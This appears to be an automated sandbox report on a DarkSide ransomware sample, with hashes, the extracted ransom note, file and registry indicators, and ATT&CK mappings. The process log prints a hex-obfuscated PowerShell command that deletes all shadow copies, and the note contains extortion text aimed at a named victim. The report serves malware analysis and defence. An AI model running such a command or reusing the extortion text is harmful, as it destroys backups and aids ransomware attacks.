darkside | 89eeac2abad61ef22fd914f9c4efaba04ca830d93ab1611c985531ac6d5e8460

Analysis

max time kernel
66s
max time network
114s
platform
windows10_x64
resource
win10v20210410
submitted
12-05-2021 19:34

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Report Analysis Logs

General

Target

691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Size

59KB
MD5

e44450150e8683a0addd5c686cd4d202
SHA1

8c482a0eed33c8a4542c3cb2715a242f2259343d
SHA256

691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5
SHA512

7d65d22ad630fd77c50e277a44fdcc46fa86235c93524f9751ac9ddf0ce19261707fab631108fc908a71029900dbf6ada119d607edfadc3ce309f86a9c3765fe

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\\README.7b336f65.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. We downloaded a lot of interesting data from your network. If you need proofs, we are ready to give it. The data is preloaded and will be automatically published if you don’t pay. Your data will be available after automatic publication for free downloading at least 6 months at our tor cdn servers. If within 3 days you don't contact with us, we will send press-releases about this accident to major media outlets, after another 3 days after sending press-releases we will start to upload your private data. Here is the list of information that we copied from your network: Passports and visas from: DOCUMENTS-RED SEA PROJECT DOCUMENTS-VISIT VISA EMPLOYEES IQAMA & PASSPORTS FOR SWAB TEST SCAN DOCUMENTS Contracts and passports as well as test results for SARS-COV19 from: CONTRACT COVID 19 Status Report Passport and photo Accounting & Financing We also copied information from the following departments: RAKFIN RAKHSE RSPDC RSPFIN RSPQLTP RSPSTO RSPTEC SAJSPFIN RSPQLT RAKEENG We paid a lot of attention to the personal data of employees as well as the drawings of your projects You must understand that if information about your developments gets publicly available: 1) your clients data can be used by criminals 2) your clients will fill lawsuit against you 3) government regulators will fine you for data breach, if you have in clients at least one EU resident then you will be also fined by EU government by GDPR law with millions of dollars of fine or permit ban for working with EU citizents. US has the similar laws, but they are not so costly, however the total cost will exceed the asked amount from you, so our offer is the best deal for you to resolve this issue. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/3NQA47J490NLKJVB1FI43HHCEJO62CE3E440J4H4K564VRQ8AFONVJQOM8158NR3 When you open our website, put the following data in the input form: Key: zm7QxFcBLUS2PdXT2XI4gIg6FuXOMT67rYgWK4ZdNE3jt6R6skLNBCiW7ryVA7ej438jGLsBzZ1mog9YLjglfFG3Ezw57Ks0jJQZMO2AokEchnlupHVbK7ZTlk4kDSMP79vNfLUDI8ppzxNTOtcWQLTtzxCI7zb6ufHXbQe5xQUJvwTJbRVmcNib462NddZoyQ0zjKh8GsEPEfQBCkTtiYR8aVMlr0GBQKzQvDmmBks9y0IupRiKMbGf607vVNegtZXEUFXOfhQfnUwOYUAkX4t83P4eQKbPaFTYpasoEC7Xm0XU1SaX3KAagaqDaIH69YQYZOJZaTrc5NtsPPRH7R1HlOMZP2bC3GMsbLaK91saXy9FcDZpn9AFkVVQHlV9xov5GzZ5GMtxb9QUcpth5a12WpVKpi5wdKNc3H3Q4jNqQjkxUJcM35X9Dkie8LKOYvC039zvnTcClzqhNza6mXhgcd7rGSWQZ6EoJ9yn6LOEf8bwjIoHrGqoYQwS6F7ZWeLd5VtbUGE7iObjGj6vdFjqhKLOxeuNhGx4ZyZ5ZR6e5K7uvLZWmYq !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/3NQA47J490NLKJVB1FI43HHCEJO62CE3E440J4H4K564VRQ8AFONVJQOM8158NR3

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside

Modifies extensions of user files 15 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\GetBlock.raw => C:\Users\Admin\Pictures\GetBlock.raw.7b336f65	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
File opened for modification	C:\Users\Admin\Pictures\HideTrace.crw.7b336f65	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
File opened for modification	C:\Users\Admin\Pictures\InstallAssert.tiff	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
File opened for modification	C:\Users\Admin\Pictures\MoveUpdate.crw.7b336f65	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
File opened for modification	C:\Users\Admin\Pictures\CompressEnter.crw.7b336f65	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
File opened for modification	C:\Users\Admin\Pictures\HideOut.raw.7b336f65	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
File renamed	C:\Users\Admin\Pictures\InstallAssert.tiff => C:\Users\Admin\Pictures\InstallAssert.tiff.7b336f65	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
File renamed	C:\Users\Admin\Pictures\HideOut.raw => C:\Users\Admin\Pictures\HideOut.raw.7b336f65	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
File renamed	C:\Users\Admin\Pictures\HideTrace.crw => C:\Users\Admin\Pictures\HideTrace.crw.7b336f65	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
File renamed	C:\Users\Admin\Pictures\MoveUpdate.crw => C:\Users\Admin\Pictures\MoveUpdate.crw.7b336f65	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
File renamed	C:\Users\Admin\Pictures\DisconnectSwitch.tif => C:\Users\Admin\Pictures\DisconnectSwitch.tif.7b336f65	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
File opened for modification	C:\Users\Admin\Pictures\DisconnectSwitch.tif.7b336f65	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
File opened for modification	C:\Users\Admin\Pictures\GetBlock.raw.7b336f65	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
File renamed	C:\Users\Admin\Pictures\CompressEnter.crw => C:\Users\Admin\Pictures\CompressEnter.crw.7b336f65	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
File opened for modification	C:\Users\Admin\Pictures\InstallAssert.tiff.7b336f65	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\7b336f65.BMP"	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\7b336f65.BMP"	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe

pid process

3856 691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe

Modifies Control Panel 1 IoCs

evasion

Processes:

691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\Desktop\WallpaperStyle = "10"	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe

Modifies registry class 5 IoCs

Processes:

691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.7b336f65	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.7b336f65\ = "7b336f65"	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\7b336f65\DefaultIcon	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\7b336f65	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\7b336f65\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\7b336f65.ico"	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exepowershell.exe

pid	process
3856	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
3856	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
2336	powershell.exe
2336	powershell.exe
2336	powershell.exe
3856	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
3856	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

Processes:

691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	3856	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeSecurityPrivilege	3856	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeTakeOwnershipPrivilege	3856	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeLoadDriverPrivilege	3856	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeSystemProfilePrivilege	3856	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeSystemtimePrivilege	3856	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeProfSingleProcessPrivilege	3856	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeIncBasePriorityPrivilege	3856	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeCreatePagefilePrivilege	3856	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeBackupPrivilege	3856	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeRestorePrivilege	3856	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeShutdownPrivilege	3856	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeDebugPrivilege	3856	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeSystemEnvironmentPrivilege	3856	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeRemoteShutdownPrivilege	3856	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeUndockPrivilege	3856	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeManageVolumePrivilege	3856	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: 33	3856	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: 34	3856	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: 35	3856	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: 36	3856	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeDebugPrivilege	2336	powershell.exe
Token: SeBackupPrivilege	3936	vssvc.exe
Token: SeRestorePrivilege	3936	vssvc.exe
Token: SeAuditPrivilege	3936	vssvc.exe

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe

description	pid	process	target process
PID 3856 wrote to memory of 2336	3856	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe	powershell.exe
PID 3856 wrote to memory of 2336	3856	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
"C:\Users\Admin\AppData\Local\Temp\691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe"
1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3856
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2336

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3936

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5
ea6243fdb2bfcca2211884b0a21a0afc

SHA1
2eee5232ca6acc33c3e7de03900e890f4adf0f2f

SHA256
5bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8

SHA512
189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5
0da9f544da91a161670a29c449968151

SHA1
ba1b8318515b67207191262cb0c56c72ef13fa84

SHA256
1383a2927d576a129e0751954a81fe9d438e25757912d195736c01b09c37dfb2

SHA512
d50759e70be74fb887c19e7856fb72b23d87a5d0c0d0fedee90ac28c3d131300e3e5baedd3de7c31667ed945764ac223655043ea3bc1131f913ed5da26451f11

Download Submit
memory/2336-114-0x0000000000000000-mapping.dmp

Download
memory/2336-120-0x000001E86D690000-0x000001E86D691000-memory.dmp

Filesize
4KB

Download
memory/2336-123-0x000001E86D790000-0x000001E86D792000-memory.dmp

Filesize
8KB

Download
memory/2336-124-0x000001E86D793000-0x000001E86D795000-memory.dmp

Filesize
8KB

Download
memory/2336-125-0x000001E86E230000-0x000001E86E231000-memory.dmp

Filesize
4KB

Download
memory/2336-139-0x000001E86D796000-0x000001E86D798000-memory.dmp

Filesize
8KB

Download